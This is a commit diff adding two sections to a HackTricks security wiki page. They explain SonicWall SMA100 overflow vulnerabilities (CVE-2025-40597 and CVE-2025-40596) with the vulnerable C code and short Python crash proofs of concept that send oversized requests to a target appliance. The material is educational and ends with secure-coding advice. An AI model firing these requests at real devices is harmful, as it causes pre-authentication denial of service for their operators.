mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Stack Overflows, Heap Overflows and Existential Dread: Sonic...
This commit is contained in:
parent
18b2e7f2c0
commit
5cef37b3e3
@ -47,6 +47,42 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
- We use an Integer Overflow vulnerability to get a Heap Overflow.
|
||||
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
|
||||
|
||||
### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk`
|
||||
|
||||
In SonicWall SMA100 firmware 10.2.1.15 the reverse-proxy module `mod_httprp.so` allocates an **0x80-byte** heap chunk and then concatenates several strings into it with `__sprintf_chk`:
|
||||
|
||||
```c
|
||||
char *buf = calloc(0x80, 1);
|
||||
/* … */
|
||||
__sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
-1, /* <-- size argument !!! */
|
||||
0, /* flags */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
|
||||
`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`.
|
||||
|
||||
Supplying an overly long **`Host:`** header therefore lets an attacker **overflow the 0x80-byte chunk and clobber the metadata of the following heap chunk** (tcache / fast-bin / small-bin depending on the allocator). A crash can be reproduced with:
|
||||
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
requests.get(
|
||||
'https://TARGET/__api__/',
|
||||
headers={'Host': 'A'*750},
|
||||
verify=False
|
||||
)
|
||||
```
|
||||
|
||||
Practical exploitation would require **heap grooming** to place a controllable object right after the vulnerable chunk, but the root cause highlights two important takeaways:
|
||||
|
||||
1. **_FORTIFY_SOURCE is not a silver bullet** – misuse can nullify the protection.
|
||||
2. Always pass the **correct buffer size** to the `_chk` family (or, even better, use `snprintf`).
|
||||
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@ -101,6 +101,39 @@ There are several protections trying to prevent the exploitation of vulnerabilit
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
|
||||
The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`:
|
||||
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
|
||||
1. The first conversion (`%2s`) safely stores **two** bytes into `version` (e.g. `"v1"`).
|
||||
2. The second conversion (`%s`) **has no length specifier**, therefore `sscanf` will keep copying **until the first NUL byte**.
|
||||
3. Because `endpoint` is located on the **stack** and is **0x800 bytes long**, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the **stack canary** and the **saved return address**.
|
||||
|
||||
A single-line proof-of-concept is enough to trigger the crash **before authentication**:
|
||||
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
|
||||
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
|
||||
|
||||
* Always provide a **maximum field width** (e.g. `%511s`).
|
||||
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
|
||||
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user